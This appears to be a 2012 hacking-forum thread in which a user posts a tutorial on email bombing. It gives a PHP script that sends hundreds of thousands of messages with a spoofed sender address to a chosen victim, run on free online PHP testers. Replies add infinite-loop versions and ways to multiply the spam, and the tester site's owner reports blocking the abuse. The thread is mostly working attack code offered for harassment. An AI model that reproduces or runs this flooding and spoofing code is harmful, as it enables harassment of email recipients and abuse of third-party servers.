Thread: [\[TUTORIAL \] -> \[How To Easily Flood An Email \] -> + EMAIL SPOOF -> \[By Occultus \]`](#)

Occultus - January 1, 2012, 3:20 am

Step One: Go To <http://phptester.net/index.php?lang=en>

[img]http://img11.imageshack.us/img11/4777/93981bc41f18430a9eb4f48.png[/img]

Step Two: Type in the following PHP code:

```
Code <?php
$mail = 1;
do {
    mail("Client", "Subject", "Message", "Fake email");
} while($mail < 500000);
?>
```

[img]http://img502.imageshack.us/img502/1678/e03dbf2f9224490c84dc942.png[/img]

Step Three: Fill in the areas

Client: The email you want to send the messages to

Subject: The email subject

Message: The message within the email

Fake Email: The email address you want the email to be sent from

Step Four: Run the PHP code.

Done! ?

Hopsin - January 1, 2012, 3:48 am

Step Four: Run the PHP code. -> Type your PHP code and slide to unlock and click to see the result

slide what and where? I don't get it.

slide what and where? I don't get it.
Slide the thingy with the two arrows on

--< >--

btw: It's working xD - Let's open it in 5 tabs and all run the same code 5 times more spam :)

there is a kinda of horizontal scroll/slider just below "click to run php code" button...slide it to right (toward the lock).
good stuff Occultus....though i knew it, pretty cool :)

Frosty16 - January 1, 2012, 4:04 am

Defiantly gonna give this a go please keep this stuff coming Occultus
Cheers mate ?

Razor4x 5_0 - January 1, 2012, 4:09 am

Good job but for the PHP code: I would make a infinite loop instead.

IDrinkMooMooMilk - January 1, 2012, 4:10 am

(Jan 1, 2012 05:09 AM)Razor4x 5_0 Wrote: [\[CITE\]](#) Good job but for the PHP code: I would make a infinite loop instead.
I don't really know php but I think this will do the job ?

PHP Code

```
<?php
$mail = 1;
do {
    mail("Client", "Subject", "Message", "Fake email");
} while($mail = $mail+1);
?>
```

Occultus - January 1, 2012, 4:12 am

(Jan 1, 2012 05:10 AM)IDrinkMooMooMilk Wrote: [\[CITE\]](#) I don't really know php but I think this will do the job ?

PHP Code

```
<?php
$mail = 1;
do {
    mail("Client", "Subject", "Message", "Fake email");
```

```
} while($mail = $mail+1);  
?>
```

Excuse me, but who is doing the tutorial here? ?

Razor4x 5_0 - January 1, 2012, 4:38 am

Imfao... For a infite loop I do this:

```
Code <?php  
while (1){  
mail("Client", "Subject", "Message", "Fake email");  
}  
?>
```

b1gDumper - January 1, 2012, 4:47 am

Hey man nice work i test it :D

mfg. b1gDumper

yogourta - January 3, 2012, 7:11 pm

Sorry guys but I blocked the email function, I gave you free application to test php functions not to flood emails, if you want to do it just do it from your own servers.

By the way I'm shutting it down any way soon.

Occultus - January 3, 2012, 10:55 pm

Holy shit... You made that website? :O

N?troxen - January 4, 2012, 12:42 am

Shit, he did block it. Well its his server he could do whatever he wants with it.

TheNeutron - January 4, 2012, 12:57 am

This is the best way to flood email in my opinion. Awesome share.

Occultus - January 4, 2012, 1:53 am

UPDATED : Use this site instead: <http://writecodeonline.com/php/>

Nevermind, it's blocked there too :|

Just find some PHP tester on google or something, or upload it to a server.

~

yogourta - January 4, 2012, 5:29 am

No It's not my decision it's the host owner who asked me to or I'll be sued for sending spams. I don't care about flooding emails since I'm a hacker too, but I'm forced to do it and I started my message with "Sorry guys".

Pinguu - January 4, 2012, 5:53 am

Lol i can not even run the php code lolololoolololol

Occultus - January 4, 2012, 5:55 am

(Jan 4, 2012 06:53 AM)xxshanyxx Wrote: [\[CITE\]](#) Lol i can not even run the php code lolololoololololol
Read the posts. The website owner disabled it... Find a different PHP tester, or upload it to a server.

wh1tesn0w - January 4, 2012, 9:48 am

lol that they disabled it.. HF is always too good

edit: great tut though, running it from my own server and its all running like a charm

nud - January 4, 2012, 9:55 am

They disabled this for security reason! Damn!

Caillou - January 23, 2012, 4:03 pm

Any suggestions for a dif. php site?

moudi5 - January 3, 2015, 6:09 pm

someone explain this to me in depth plss?

ixAnon dZck - January 4, 2015, 9:28 am

didn't found any php tester sites where this is working

NigerianKing - January 5, 2015, 1:36 pm

thank you so much dude means so much too mean!!
